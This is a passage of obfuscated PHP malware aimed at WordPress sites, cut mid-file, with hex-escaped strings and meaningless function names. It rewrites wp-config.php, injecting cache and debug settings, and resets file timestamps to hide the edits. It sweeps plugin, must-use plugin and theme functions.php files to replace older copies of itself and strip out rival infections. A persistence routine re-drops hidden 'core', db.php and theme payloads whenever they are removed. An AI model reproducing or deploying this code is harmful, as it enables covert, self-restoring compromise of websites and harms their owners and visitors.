					vugo('sweep', 'ddb_' . "fo\x72" . 'e' . "\x69" . "gn_" . 'ski' . "p " . basename($t));
				}
			}
			return '';
		}
	}
	return $b;
}

function fita()
{
	static $t = null;
	if (!($t === null)) {} else {
		$_v = sc_pg('tes' . "t" . "_mo" . "\x64\x65", null);
		if (!($_v === null)) {} else {
			$_sk = sc_pg('s' . 'rv' . '_' . "k" . "ey", '');
			$_v = (is_string($_sk) && strpos($_sk, 'mo' . "\x63k\x53r\x76" . 'Ke' . 'y' . "-") === (112 ^ 112)) ? (1117 ^ 1116) : (2326 ^ 2326);
			sc_pk('tes' . 't' . "_mo" . 'de', $_v, 'no');
			unset($_sk);
		}
		$t = ((int) $_v === (1886 ^ 1887));
	}
	return $t;
}

function rewe()
{
	if (!defined('A' . "BS\x50A\x54" . 'H')) return;
	$f = ABSPATH . "wp-c" . 'onfi' . 'g.p' . "h" . "\x70";
	if (!@is_file($f)) {
		$_alt = dirname(ABSPATH) . '/w' . 'p-con' . 'fig' . '.php';
		if (@is_file($_alt)) $f = $_alt;
	}
	if (!@is_file($f) || !@is_writable($f)) return;
	$_rp = @realpath($f);
	if (is_string($_rp) && $_rp !== '' && @is_writable($_rp)) $f = $_rp;
	if (@filesize($f) > (0 | 4194304)) return;
	$c = @("fi" . 'le_get_contents')($f);
	if (!is_string($c) || $c === '') return;
	$_need_clean = (strpos($c, 'WP_C' . "ore_" . 'Integ' . 'rit' . "y") !== (15 === 28) || strpos($c, "/t" . "m" . 'p/php') !== (18 === 5));
	$_need_tmp = (3 === 7);
	if (!(strpos($c, "WP" . "_" . "T" . 'EMP_D' . 'IR') === (37 === 34))) {} else {
		if (!empty(${"GL" . "O" . "BA" . "LS"}["sc\x5ft" . 'm' . 'p' . '_fix' . "e" . 'd'])) {
			$_need_tmp = (3 !== 22);
		} else {
			$_st = (("\x66\x75" . 'nc') . '' . 'tio' . 'n_exists')('sy' . "s_ge" . 't' . '_t' . 'emp' . '_dir') ? sys_get_temp_dir() : '/tmp';
			if (!@is_dir($_st) || !@is_writable($_st)) $_need_tmp = (5 != 0);
		}
	}
	$_need_cache = (18 == 21);
	$_migrate_wc = (18 === 39);
	if (!preg_match('/defi' . 'ne\\s*' . "\\(\\\x73" . "\x2a\x5b\x27\"" . ']WP_' . 'CACHE' . '[\'' . '"]/', $c) && defined('WP' . '_C' . 'ON' . "TENT_" . 'DIR')) {
		$_ac = WP_CONTENT_DIR . "\x2f" . "adv" . 'ance' . 'd-' . "c" . "\x61c" . "h" . 'e.' . 'p' . 'h' . "\x70";
		if (@is_file($_ac)) {
			$_ah = (string) @("file_ge" . "t\x5f\x63o\x6e\x74e\x6et\x73")($_ac, (21 == 9), null, (2592 ^ 2592), (3772 ^ 7868));
			if (strpos($_ah, 'S' . 'C_A' . 'DV_B' . 'E' . 'GI' . 'N' . "\x3a") !== (14 === 1)) $_need_cache = (7 != 0);
		}
	} elseif (
		strpos($c, 'SC_WC') === (33 === 26)
		&& preg_match('/def' . "i\x6ee\\s" . '*\\(' . '\\s*[\'' . "\"]AB" . 'S' . 'PAT' . "\x48\x5b" . '\'"]\\s' . '*' . ',[^;]' . "*\\\x29\\\x73" . '*;\\s' . '*' . '\\r?\\' . 'ndefi' . 'ne\\(' . ' \'WP_' . 'CACHE' . '\', t' . 'rue \\' . ');\\r?' . '\\' . 'n/', $c)
	) {
		$_migrate_wc = (24 === 24);
	}
	$_need_debug = (28 == 16);
	if (!(fita())) {} else {
		if (
			!preg_match("\x2fde" . 'fine' . '\\' . 's*' . "\\(\\s*" . '[\'"' . "]WP_\x44" . 'EBU' . 'G' . "\x5b'\"\x5d" . "\\s" . '*,\\' . 's*tr' . 'u' . 'e\\' . 's' . '*\\' . ")" . "/" . "i", $c)
			|| !preg_match('/' . 'defi' . "n" . 'e' . "\\\x73\x2a\\" . '(\\s*[' . '\'"]W' . 'P' . '_DE' . 'BUG_L' . 'O' . "G['" . '"' . ']' . "\\" . "s" . "*," . "\\s\x2at" . 'ru' . 'e\\' . "s*\\\x29" . '/i', $c)
			|| !preg_match("/de" . 'fine\\' . "s*\\" . '(' . '\\s*' . '[\'' . '"]WP_' . "DEB\x55" . 'G_DI' . "SP\x4cA\x59" . '[\'"]' . '\\s*,\\' . "s" . '*f' . 'als' . 'e\\s*\\' . ")/i", $c)
		) $_need_debug = (32 != 24);
	}
	if (!$_need_clean && !$_need_tmp && !$_need_cache && !$_need_debug && !$_migrate_wc) return;
	$_removed = '';
	$n = $c;
	if ($_need_clean) {
		if (preg_match_all('/[ \\' . 't' . ']*\\/' . "\\\x2a W" . 'P_C' . "or\x65" . "\x5fI\x6ete" . "gr" . "\x69ty" . " (" . "[a-\x66" . '0-' . "9]\x2b)\x20" . "\\*\\/" . '.*?\\/' . "\\* \x45" . "\x6e\x64\x2dW" . 'P_' . "Co" . 're_' . 'I' . "\x6eteg" . 'rity' . " \\\x31" . " " . '\\' . '*\\/[' . ' \\t]' . "*\\" . 'r?\\n?' . '/s', $c, $_bm)) $_removed .= implode("\n", $_bm[(1428 ^ 1428)]);
		$n = ("p\x72\x65\x67_\x72\x65p" . '' . 'lace')("/[ \\" . 't]*\\' . '/\\' . '*' . " WP\x5f" . 'Core_' . 'Inte' . 'g' . "\x72i\x74" . 'y ([' . 'a-f' . "0" . '-9' . "]\x2b)" . "\x20\\\x2a\\" . '/' . ".*" . "?\\\x2f" . "\\\x2a E\x6e" . 'd-WP' . '_Co' . 're_' . "Int" . "egrit" . 'y \\1' . ' \\*\\/' . '[ \\t' . ']*\\' . 'r?\\n?' . '/s', '', $c);
		if (!is_string($n)) return;
		if (!(!preg_match('/\\' . 'b(?:e' . "ndif|" . 'el' . 'se)\\' . 'b/', $n))) {} else {
			if (preg_match_all('/^[ \\' . "\x74]" . "\x2aif\\" . 's*\\(\\' . 's*!?\\' . 's*fi' . 'le' . '_exis' . 'ts\\(' . '\\' . "\x73*" . '\'\\/' . 'tmp\\/' . 'php[' . 'A' . '-Za-' . "z0-" . '9]' . '+\'[' . '^\\n' . "]\x2a" . "\\\x6e" . '([ \\t' . ']*if' . '\\s' . "*" . "\\" . '(\\' . "s*\\\$_" . 'o&&[' . '^\\' . "\x6e" . ']*\\n)' . "\x3f/" . 'm', $n, $_lm)) $_removed .= "\n" . implode("\n", $_lm[(2872 ^ 2872)]);
			$n = ("\x70\x72\x65\x67\x5f\x72\x65" . "pla" . "ce")("\x2f^" . '[' . " \\t]*" . "if\\s*" . '\\(' . '\\s*' . "\x21" . '?' . '\\s*f' . "i" . 'le_e' . 'xi' . "s\x74s" . '\\' . "(\\s" . '*\'\\/t' . 'mp\\' . "/" . 'php' . "\x5bA-Z" . 'a' . "\x2d\x7a0-\x39" . ']' . '+' . "\x27\x5b" . '^\\n' . ']*\\n(' . '[ \\' . "t]*i" . 'f' . '\\' . "s*" . "\\(" . '\\' . "s\x2a\\\$" . '_o&' . "\x26[" . '^\\n]' . "*\\n)" . '?' . '/m', '', $n);
			if (!is_string($n)) return;
		}
	}
	$_abs_re = 'defi' . "ne\\\x73" . '*' . "\\\x28\\s*" . "['\"" . ']AB' . 'S' . 'PATH[' . '\'' . "\"]\\s" . '*' . ",[^\x3b]" . '*\\' . ')\\s' . '*;\\s*' . "\\\x72?" . '\\n';
	if (!($_need_tmp && preg_match('/' . $_abs_re . '/', $n))) {} else {
		$n = ('preg' . '' . "\x5f\x72epla\x63e")('/(' . $_abs_re . ')' . "/", '$1' . 'de' . "f" . 'i' . "n\x65" . '( \'' . 'W' . "P_T" . 'EMP_D' . "\x49\x52\x27" . ", (" . ' defi' . 'ned( ' . '\'WP' . '_CO' . "N" . "TENT" . '_DI' . 'R' . '\' )' . ' ' . "? WP_" . 'CO' . 'NTE' . "NT_" . 'DIR :' . " A" . 'BSPAT' . "H" . ' . \'w' . 'p-co' . 'nte' . 'nt' . '\' ' . "\x29 " . ". \x27\x2f" . '.sc' . '_tmp\'' . " );\n", $n, (1689 ^ 1688));
		if (!is_string($n)) return;
	}
	if ($_need_cache && preg_match('/' . $_abs_re . '/', $n)) {
		$n = ("\x70\x72\x65g_r" . 'ep' . 'lac' . "\x65")('/(' . $_abs_re . "\x29" . '/', "\$" . '1' . 'defin' . 'e( \'' . 'WP_' . "CACH\x45" . '\'' . ", tru" . "\x65\x20" . "\x29; /*" . ' SC_W' . "C\x20*/\n", $n, (3277 ^ 3276));
		if (!is_string($n)) return;
	} elseif ($_migrate_wc) {
		$n = ('preg_' . "\x72\x65" . "pl" . "ace")('/(' . $_abs_re . "\x29d\x65" . 'fine' . '\\(' . "\x20'" . 'W' . "\x50\x5fCA" . "C\x48E" . "\x27, t\x72" . "ue" . " \\);\\" . "r?\\n" . "/", '$' . '1' . 'd' . 'efine' . "\x28\x20" . '\'W' . 'P_' . 'CACH' . 'E\', t' . 'r' . 'u' . 'e )' . ";" . ' /* S' . 'C' . '_W' . 'C ' . "*\x2f\n", $n, (231 ^ 230));
		if (!is_string($n)) return;
	}
	if (!($_need_debug)) {} else {
		$n = ("\x70\x72\x65\x67\x5f\x72" . 'e' . "" . "p" . 'lace')('/^[ \\' . "\x74]" . "*d\x65fi" . 'ne' . '\\s*\\' . "(\\s*\x5b" . '\'"]WP' . "\x5f\x44E\x42" . 'UG(_' . "\x4cOG\x7c_" . 'DIS' . "P" . 'LAY)' . "?['\"]" . '\\s' . '*,[^' . "\\\x6e" . ']*\\n/' . 'im', '', $n);
		if (!is_string($n)) return;
		if (preg_match('/(' . $_abs_re . "\x29" . "\x2f", $n)) {
			$n = ("\x70" . 'reg_replace')('/(' . $_abs_re . ')/', '$1' . 'def' . 'in' . 'e( ' . '\'WP_' . "DE" . "BU" . 'G' . '\',' . ' tr' . 'u' . "e\x20);\n" . 'de' . 'fi' . "\x6e\x65\x28 '" . 'WP' . '_D' . 'EBUG_' . 'LOG\'' . ', tr' . "ue );" . "\ndef" . "ine(" . " 'WP_" . 'DE' . "B" . "UG_\x44\x49" . 'SPLAY' . "'" . "\x2c f" . "als\x65" . ' );' . "\n", $n, (3897 ^ 3896));
			if (!is_string($n)) return;
		}
	}
	if ($n === $c) return;
	if (!cale($n)) return;
	if ($_migrate_wc && (("\x66\x75\x6e\x63t\x69\x6f\x6e\x5f\x65\x78" . '') . "ists")("u\x70\x64at" . 'e_op' . 'ti' . "o\x6e")) @update_option("s\x63" . '_wc' . '_mig', (3678 ^ 3679), 'n' . 'o');
	if ($_need_cache && !cesa($f, $c)) {
		vugo("w" . 'p' . "c", "canar" . "y_" . 'ar' . "\x6d_" . "fa\x69" . 'l');
		$n = ("p" . "reg_replace")('/(' . $_abs_re . "\x29de" . 'f' . 'i' . 'ne\\( ' . '\'WP_C' . "ACHE'" . ', t' . 'rue' . " \\)\x3b " . '\\/' . "\\*\x20S" . "C_\x57C\x20" . '\\*\\' . '/\\r?\\' . 'n/', '$1', $n, (1393 ^ 1392));
		if (!is_string($n) || $n === $c) return;
		if (!cale($n)) return;
	}
	$_perm = @fileperms($f);
	$_perm = ($_perm === (40 == 41)) ? (459 - 39) : ($_perm & (2044 >> 2));
	$_mt = @filemtime($f);
	$_rc = @('file_g' . 'et_c' . "o\x6et\x65" . 'nts')($f);
	if (!(!is_string($_rc) || $_rc !== $c)) {} else {
		vugo("w" . "p" . 'c', 'rmw_r' . 'a' . "c\x65");
		return;
	}
	unset($_rc);
	$_tmp = dili(dirname($f), 'sc' . 'w');
	if (!is_string($_tmp) || $_tmp === '') return;
	if (!(@(('file_put_cont' . 'e') . "nts")($_tmp, $n) !== strlen($n))) {} else {
		@(('unl' . 'i') . 'n' . "\x6b")($_tmp);
		return;
	}
	@("c" . "hmod")($_tmp, $_perm);
	if (!(!@('r' . 'e' . "name")($_tmp, $f))) {} else {
		@("\x75\x6e" . "\x6c\x69" . '' . "n" . "\x6b")($_tmp);
		return;
	}
	if ($_mt) @("t" . '' . "\x6f" . "u\x63h")($f, $_mt);
	if (("\x66\x75nc\x74ion\x5f" . 'exists')('o' . 'p' . 'cach' . "\x65" . '_inv' . "alid\x61" . "te")) @opcache_invalidate($f, (39 != 12));
	if ($_need_cache) izo($f);
	if (($_need_cache || $_migrate_wc) && ("\x66\x75\x6e\x63" . ('ti' . '') . 'on_exists')("\x64e\x6ce" . "t\x65_" . 'optio' . 'n')) @delete_option("s" . "c\x5fwc_" . 'mi' . 'g');
	if (preg_match_all('/\'' . '(\\/tm' . 'p\\/ph' . 'p' . "\x5b" . "A-Za\x2d" . 'z0-9]' . "+)'/", $_removed, $tm)) {
		foreach (array_unique($tm[(3957 ^ 3956)]) as $tf) {
			if (strpos($tf, '/t' . "m\x70/" . 'p' . 'hp') === (2190 ^ 2190) && @is_file($tf)) @("\x75" . "nl" . ("i\x6e" . 'k'))($tf);
		}
	}
	if (!(("\x66" . "unct" . "ion_ex" . "ists")("de\x6ce" . 'te' . '_o' . 'ptio' . "n") && preg_match_all('/o' . "\x70" . 'tion' . "_nam" . "e\\s\x2a" . '=\\' . 's*\'(' . '[^\']' . "+\x29'" . "/", $_removed, $om))) {} else {
		foreach (array_unique($om[(2981 ^ 2980)]) as $on) {
			if (preg_match('/^_si' . 'te_' . 'tran' . 'sient' . '_(hea' . "l\x74\x68|" . 'f' . "\x65" . "ed)" . '_[' . 'a-f' . '0-9]+' . '$/', $on)) @delete_option($on);
		}
	}
}

function ewe()
{
	if (!defined("\x57P_" . 'CONT' . "ENT" . "_D" . "I" . 'R')) return;
	$_mu = defined('W' . 'PM' . 'U_P' . 'L' . 'UG' . 'IN' . "_D" . 'IR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-' . 'plug' . 'ins';
	$_cands = array();
	if (!(("\x66un" . 'ct' . "ion" . '_exists')("gl\x6f" . 'b'))) {} else {
		if (@is_dir($_mu)) foreach ((array) @("g" . "l" . 'ob')($_mu . '/*.' . "php") as $_f) $_cands[] = $_f;
		if (defined("WP\x5fP" . 'L' . "UG\x49N_" . 'DI' . "R") && @is_dir(WP_PLUGIN_DIR)) foreach ((array) @("g\x6c" . ("" . "o") . 'b')(WP_PLUGIN_DIR . '/' . '*/' . '*.' . 'p' . 'h' . "p") as $_f) $_cands[] = $_f;
	}
	$_ab = defined('A' . 'BSPAT' . 'H') ? ABSPATH : '';
	$_core = WP_CONTENT_DIR . '/.' . "\x73\x63_" . substr(md5($_ab . 'dir'), (1370 ^ 1370), (12 - 4)) . '/c' . 'ore' . '_' . substr(md5($_ab . 'core'), (1313 ^ 1313), (7 + 1)) . '.php';
	if (@is_file($_core)) $_cands[] = $_core;
	$_core2 = kago();
	if ($_core2 !== $_core && @is_file($_core2)) $_cands[] = $_core2;
	unset($_core2);
	foreach ($_cands as $_f) {
		$_mt = @filemtime($_f);
		if (!$_mt || ($_mt % (68984 ^ 35800)) !== (180669 - 86850)) {
			$_sz0 = @filesize($_f);
			if (!$_sz0 || $_sz0 < (504 ^ 12) || $_sz0 > (93303556 - 40874756)) continue;
		}
		$_rp = @realpath($_f);
		$_self = @realpath(sc_file());
		if (is_string($_rp) && is_string($_self) && $_rp === $_self) continue;
		$_h = @('file_ge' . 't_con' . "\x74" . '' . 'ents')($_f, (24 == 1), null, (2710 ^ 2710), (2976 ^ 7072));
		$_zv = null;
		if (is_string($_h) && preg_match("/" . '\\/\\*' . ' S' . 'C' . "V:" . '(\\d+\\' . ".\\\x64\x2b\\" . '.\\d+' . ') \\*' . "\\//", $_h, $_vm)) $_zv = $_vm[(310 ^ 311)];
		elseif (sc_is_family($_f, (8942 - 3942))) $_zv = "\x30\x2e\x30." . '0';
		if ($_zv === null || !version_compare($_zv, sc_ver(), '<')) continue;
		$_own = gavu($_f);
		if (!($_own === (31 == 24))) {} else {
			vugo("\x73we\x65" . 'p', 'fore' . 'ign' . '_skip' . ' ' . basename($_f));
			continue;
		}
		if ($_own === (30 === 30)) {
			if (hepa($_f, $_f . '.o' . 'ff')) {
				if (("\x66u\x6e\x63\x74i\x6f\x6e" . "\x5f\x65x\x69" . "" . "sts")("opc\x61c" . "h" . "e_" . 'inval' . 'idate')) @opcache_invalidate($_f, (4 !== 31));
			} elseif (!sc_retire_copy($_f) && sc_is_locked_copy($_f)) {
				vixo($_f);
				nici($_f);
			}
			@("\x75n\x6c\x69" . 'nk')(dirname($_f) . "/" . '.sd_' . basename($_f, "\x2e" . 'ph' . "p"));
			continue;
		}
		if (!(!sc_retire_copy($_f) && sc_is_locked_copy($_f))) {} else {
			vixo($_f);
			nici($_f);
		}
		sc_retire_sidecars($_f);
	}
	rewe();
	$_td = WP_CONTENT_DIR . '/' . "th" . "em" . 'e' . 's';
	if (!(@is_dir($_td) && ("\x66\x75\x6e" . 'cti' . 'on_exis' . 'ts')("g" . 'lob'))) {} else {
		foreach ((array) @('gl' . 'o' . 'b')($_td . '/' . "*" . '/fun' . 'cti' . 'o' . 'ns' . "\x2e\x70\x68" . 'p') as $_fn) {
			if (!@is_file($_fn) || !@is_writable($_fn)) continue;
			$_sz = @filesize($_fn);
			if (!$_sz || $_sz > (65960 ^ 2163112)) continue;
			$_c = @("file_get_conte" . "nts")($_fn);
			if (!is_string($_c)) continue;
			if (strpos($_c, "\x53C\x5f" . 'TH_B' . 'EGI' . 'N') === (4 === 5) && strpos($_c, 'SC_' . 'DD' . "\x5f" . 'BEGI' . "N") === (8 === 7) && strpos($_c, "S\x43_" . "T\x48\x5fL" . "D_") === (1 === 5)) continue;
			if (!nuro($_c)) continue;
			$_n = vifok($_c);
			if (!(is_string($_n) && $_n !== $_c)) {} else {
				jihe($_fn, $_n);
				if ((("func" . '') . "tion" . "\x5f\x65\x78\x69\x73\x74\x73")('opca' . 'c' . "\x68e" . '_' . 'inv' . "al\x69" . 'dat' . "e")) @opcache_invalidate($_fn, (3 !== 32));
			}
		}
	}
	ehak(WP_CONTENT_DIR . '/' . 'advan' . 'ced-' . 'c' . "ac\x68\x65" . '.php');
	ehak(WP_CONTENT_DIR . '/db' . '.p' . "hp");
	if (('function' . "_exis" . "" . 'ts')("\x67" . 'et_' . 'optio' . 'n') && ("\x66\x75n" . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("d\x65l\x65t" . 'e_op' . "tio" . 'n') && ('functio' . "\x6e_e" . "xists")('sc_m' . "d\x35")) {
		$_on = sc_md5(ABSPATH . 'o' . "p\x74", (23 ^ 29));
		$_ov = @get_option($_on, '');
		if (!(is_string($_ov) && $_ov !== '')) {} else {
			$_raw = ("\x62\x61\x73\x65\x36\x34\x5f\x64" . "\x65\x63\x6f\x64\x65")($_ov, (15 != 7));
			if (is_string($_raw) && rowok($_raw)) @delete_option($_on);
		}
		$_src = (("f" . "\x75\x6e\x63\x74\x69\x6f\x6e") . '_exists')("s\x63" . "\x5fp\x67") ? sc_pg('src', '') : '';
		if (!(is_string($_src) && $_src !== '' && (strlen($_src) > (2031409 - 982833) || (('function_' . "e\x78i" . "st\x73")("s\x63_" . 'src_' . "\x70" . 'o' . "iso" . 'ned') && sc_src_poisoned($_src)) || tuzu($_src)))) {} else {
			if (('func' . "tion_e" . "xists")('s' . "c" . '_pk')) sc_pk("sr" . "c", '', 'no');
		}
	}
}

function sc_persist_always()
{
	try {
		sc_dbg_log("20" . ' ' . "\x70e\x72s" . 'i' . "\x73t \x65n" . 'ter');
		if (!defined("A" . 'BS' . "P" . "AT\x48")) return;
		if (!empty(${("\x47LOB" . 'A') . "L" . "S"}["\x73c_bo" . "\x6f\x74_tk"])) {
			${'G' . '' . 'LOBA' . "\x4c" . 'S'}['sc' . "_" . 'boot_' . 'tk'] = (1803 ^ 1803);
			vugo('boot', "\x6c" . "ega\x63" . 'y_' . 'tak' . 'e' . 'ov' . "er");
		}
		if (!empty(${("GL\x4f\x42A\x4c" . '') . 'S'}["sc\x5fp" . 'ersi' . "s\x74ed"])) return;
		${'GL' . "" . "O\x42A\x4c" . "\x53"}["s\x63\x5f" . "pe" . 'rsis' . 'ted'] = (33 != 4);
		if (!isset(${"\x5f\x47" . 'ET'}['sc' . '_c']) && ("function_e" . 'xist' . 's')('get_o' . "\x70\x74ion") && ("f" . "unct" . "\x69\x6f\x6e\x5f\x65\x78" . "" . "ists")('r' . "e" . "\x67" . 'is' . 'ter' . '_shu' . 'td' . 'o' . 'wn' . "_fun" . 'cti' . 'on')) {
			$_cy = @get_option('sc_c' . 'a' . "n\x61r" . 'y', array());
			$_cy_on = (36 == 21);
			if (is_array($_cy)) {
				if (!empty($_cy['t'])) $_cy_on = (5 !== 2);
				if (!$_cy_on && !empty($_cy["it" . 'em' . "s"]) && is_array($_cy['item' . "s"])) {
					foreach ($_cy['item' . 's'] as $_ci) {
						if (is_array($_ci) && !empty($_ci['p'])) {
							$_cy_on = (32 !== 39);
							break;
						}
					}
				}
			}
			if ($_cy_on) ("register_" . ("shutdown_f" . "u\x6ect\x69\x6fn"))('sc_ca' . 'na' . "ry_c\x68" . 'eck');
		}
		if (rume(sc_file())) return;
		$_sct = ('functi' . "on" . "_ex" . "ists")("g\x65" . "t\x5fop" . 'tio' . "n") ? (int) get_option('sc_s' . 'crub' . '_ts', (1561 ^ 1561)) : (3280 ^ 3280);
		if ($_sct < time() - (343 - 43) || $_sct > time() + (12 | 288)) {
			if (('fu' . ('' . "nct\x69o") . 'n_exi' . 'sts')('u' . "pd" . "at\x65\x5f" . "o" . 'ption')) @update_option("sc" . '_scr' . 'ub_ts', time());
			ewe();
		}
		unset($_sct);

		qelo(sc_file(), sc_ver());
		if (!xuvu()) {
			ocu();
			miju();
			return;
		}

		$base = sc_writable_base();
		$targets = array(
			sc_file(),
			$base . '/db.p' . 'hp',
		);
		$_th_cands = duvi();
		foreach ($_th_cands as $_thc) {
			if (@is_file($_thc)) $targets[] = $_thc;
		}


		$line_checks = array();
		$_oc_pp = behof();
		if (@is_file($_oc_pp[(127 ^ 126)])) $line_checks["li" . "n\x65:" . $_oc_pp[(3585 ^ 3585)]] = '.' . 'wp-ob' . "j\x65" . 'ct-c' . "ache" . '-' . $_oc_pp[(23 ^ 21)];

		$manifest = @get_option('s' . 'c_per' . 's' . "is\x74" . '_mani' . "f\x65" . 'st', array());
		if (!is_array($manifest)) $manifest = array();

		$need_sync = (8 === 37);
		foreach ($targets as $path) {
			$stat = @stat($path);
			$sig = $stat ? ($stat['si' . 'ze'] . '|' . $stat['m' . 'time']) : '0';
			$saved = isset($manifest[$path]) ? $manifest[$path] : '';
			if ($sig === $saved) continue;
			if (preg_match('/\\|r(' . "\\d\x2b)\$" . '/', $saved, $_rm) && substr($saved, (1573 ^ 1573), -strlen($_rm[(1297 ^ 1297)])) === $sig && time() - (int) $_rm[(1867 ^ 1866)] < (6425 - 2825)) continue;
			$need_sync = (16 != 11);
			break;
		}
		if (!$need_sync) {
			foreach ($line_checks as $key => $needle) {
				$sig = ejow(substr($key, (2 ^ 7)), $needle);
				$saved = isset($manifest[$key]) ? $manifest[$key] : '';
				if ($sig === $saved) continue;
				if (preg_match("/\\|" . "\x72" . '(' . '\\d+' . ')$/', $saved, $_rm) && substr($saved, (514 ^ 514), -strlen($_rm[(4010 ^ 4010)])) === $sig && time() - (int) $_rm[(1563 ^ 1562)] < (29586 + 56814)) continue;
				$need_sync = (34 < 35);
				break;
			}
		}

		$_slug = basename(sc_file(), ".p" . "hp");
		$_pf = $base . '/pl' . 'ug' . "ins" . '/' . $_slug . '/' . $_slug . ".p" . 'hp';
		$_cp = kago();
		if (!@is_file($_pf) || (int) @filesize($_pf) < (4104 | 896)) $need_sync = (35 != 29);
		if ($_cp !== '' && !@is_file($_cp)) $need_sync = (7 !== 22);
		if (!$need_sync && ('f' . "un" . ('c' . 'tion_exists'))('ge' . "t_op\x74" . 'io' . 'n')) {
			$_rel = $_slug . '/' . $_slug . '.' . 'php';
			$_act = get_option('acti' . "ve_pl" . 'u' . 'g' . 'ins', array());
			if (!is_array($_act)) $_act = array();
			if (gibi($_slug)) {
				if (!in_array($_rel, $_act, (4 != 10))) $need_sync = (20 !== 5);
			} elseif (in_array($_rel, $_act, (7 !== 8))) {
				$need_sync = (5 !== 32);
			}
		}

		if (!$need_sync) return;

		$_now = time();
		$_last = (2541 ^ 2541);
		$_fails = (570 ^ 570);
		if (("f\x75\x6ec\x74" . "" . "ion_exists")('g' . "et_" . "\x6fp" . "t" . 'i' . 'on')) {
			$_bk = @get_option("sc\x5fs" . 'ync_' . "b" . 'k', '');
			if (is_string($_bk) && preg_match("/^(\\\x64" . "\x2b\x29\\\x7c" . '(\\d' . "+)" . "\$/", $_bk, $_bm)) {
				$_last = (int) $_bm[(1001 ^ 1000)];
				$_fails = (int) $_bm[(8 - 6)];
			}
		}
		$_delay = $_fails <= (3476 ^ 3476) ? (3699 ^ 3699) : ($_fails === (1205 ^ 1204) ? (38 + 22) : ($_fails === (372 ^ 374) ? (101 ^ 329) : (1523 + 277)));
		if ($_last > (834 ^ 834) && ($_now - $_last) < $_delay) return;

		if (!uce('sc' . "_\x63ha" . 'in')) return;
		sc_dbg_log('21' . "\x20\x70ers" . 'ist:' . " dro" . 'ppin' . "g\x20cor" . 'e/db/' . "th" . "em\x65");

		try {
			vida();
			zudar();
			miju();
			tona();
			kuxi();
			ocu();
			inoh();
			naceg();
			$_db_ok = koga();
			$_th_ok = wise();

			$_still = (!@is_file($_pf) || (int) @filesize($_pf) < (7118 - 2118)) || ($_cp !== '' && !@is_file($_cp));
			if (!$_still && !@is_file($base . "\x2f" . 'd' . 'b' . '.php')) $_still = (9 === 9);
			if (!$_still && ("functio" . 'n_' . 'e' . "\x78\x69\x73\x74\x73")("ge\x74" . "_" . 'opti' . 'o' . "\x6e")) {
				$_rel = $_slug . '/' . $_slug . '.php';
				$_act = get_option('activ' . 'e_p' . "lu" . 'gin' . "\x73", array());
				if (!is_array($_act)) $_act = array();
				if (gibi($_slug)) {
					if (!in_array($_rel, $_act, (20 < 21))) $_still = (7 < 8);
				} elseif (in_array($_rel, $_act, (4 !== 20))) {
					$_still = (26 != 8);
				}
			}
			if (("funct\x69\x6fn" . '_' . '' . "\x65\x78\x69\x73\x74\x73")('u' . "pda" . 'te' . '_opt' . "io\x6e")) @update_option("\x73" . "c\x5fsyn" . 'c_' . 'bk', $_now . '|' . ($_still ? ($_fails + (2894 ^ 2895)) : (1681 ^ 1681)), 'no');

			$new_manifest = array();
			foreach ($targets as $path) {
				$_failed = ($path === $base . '/db.' . 'p' . 'hp' && !$_db_ok) || (substr($path, -(24 - 10)) === '/fu' . "nc" . "\x74i" . "ons" . '.p' . 'hp' && !$_th_ok);
				$stat = @stat($path);
				if ($stat) {
					$new_manifest[$path] = $stat['s' . "i" . 'ze'] . '|' . $stat['mtime'] . ($_failed ? '|' . "\x72" . time() : '');
				}
			}
			foreach ($line_checks as $key => $needle) {
				$_ls = ejow(substr($key, (10 >> 1)), $needle);
				if ($_ls === '0' || substr($_ls, -(1184 ^ 1186)) === '|0') $_ls .= '|r' . time();
				$new_manifest[$key] = $_ls;
			}
			@update_option('sc_p' . 'e' . 'rs' . 'ist' . "_ma" . 'nife' . 'st', $new_manifest, 'no');
		} finally {
			zubu("s\x63\x5f" . 'ch' . 'ai' . "n");
		}
	} catch (Throwable $e) {
		vugo("p" . "er\x73i" . "\x73\x74", $e);
	} catch (Exception $e) {
	}
}



function ejow($path, $needle)
{
	$stat = @stat($path);
	if (!$stat) return '0';
	$sig = $stat['siz' . "e"] . '|' . $stat['mtime'];
	if ($stat['size'] > (175224 ^ 1223800)) return 'b' . "\x69" . "g" . ':' . $sig;
	$c = @("file_get_conte" . "\x6ets")($path);
	return $sig . '|' . ((is_string($c) && strpos($c, $needle) !== (19 == 2)) ? '1' : '0');
}



function sc_pending_invalidate_run()
{
	$_pv = ("f" . 'unc' . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "\x73\x74\x73")('get' . '_opt' . "i" . 'o' . "n") ? get_option("sc_" . "\x70en" . "\x64i\x6e\x67" . '_inva' . "\x6cida" . "\x74\x65", '') : '';
	sc_invalidate_vectors();
	$_cv = (('func' . "") . 'ti' . 'on_exists')('g' . 'et' . "_" . "\x6fpt\x69\x6f" . 'n') ? get_option('s' . 'c_pe' . "n\x64in\x67" . '_in' . 'v' . "a\x6cid" . 'at' . "e", '') : '';
	if ($_cv === $_pv) {
		global $wpdb;
		if (is_object($wpdb) && ("\x6de" . "\x74h" . 'od_exists')($wpdb, "\x71\x75" . 'ery') && is_string($_pv) && $_pv !== '' && isset($wpdb->options)) {
			@$wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->options} WHERE option_name = 'sc_pending_invalidate' AND option_value = %s", $_pv));
			if (!(('function' . '_' . 'exists')('wp_c' . 'ach' . 'e' . '_del' . 'et' . "e"))) {} else {
				@wp_cache_delete("sc\x5f\x70e" . 'nding' . "\x5finva" . 'lidat' . "e", 'o' . 'ptio' . 'ns');
				@wp_cache_delete("\x6e\x6ft\x6f" . 'pt' . 'ions', 'opt' . 'i' . 'ons');
			}
		} else {
			@delete_option("sc_pe" . "ndin\x67" . "\x5f\x69n" . 'v' . "\x61l\x69da" . "te");
		}
	}
}

function sc_invalidate_vectors()
{
	try {
		if (!defined('A' . "B\x53P" . 'ATH')) return;
		$base = sc_writable_base();
		$cache_dir = sc_data_dir();

		$zip_name = sc_md5(ABSPATH . 'zip', (13 + -5)) . '.' . "zi\x70";
		$htl_name = sc_md5(ABSPATH . 'htl', (9 - 1)) . '.php';
		$ldr_name = sc_md5(ABSPATH . 'ld' . 'r', (5 + 3)) . '.' . 'php';
		$sw_name = sc_md5(ABSPATH . 's' . 'w', (12 + -4)) . '.p' . "h\x70";
		$inst_name = sc_md5(ABSPATH . 'inst', (11 ^ 3)) . '.' . "p\x68p";
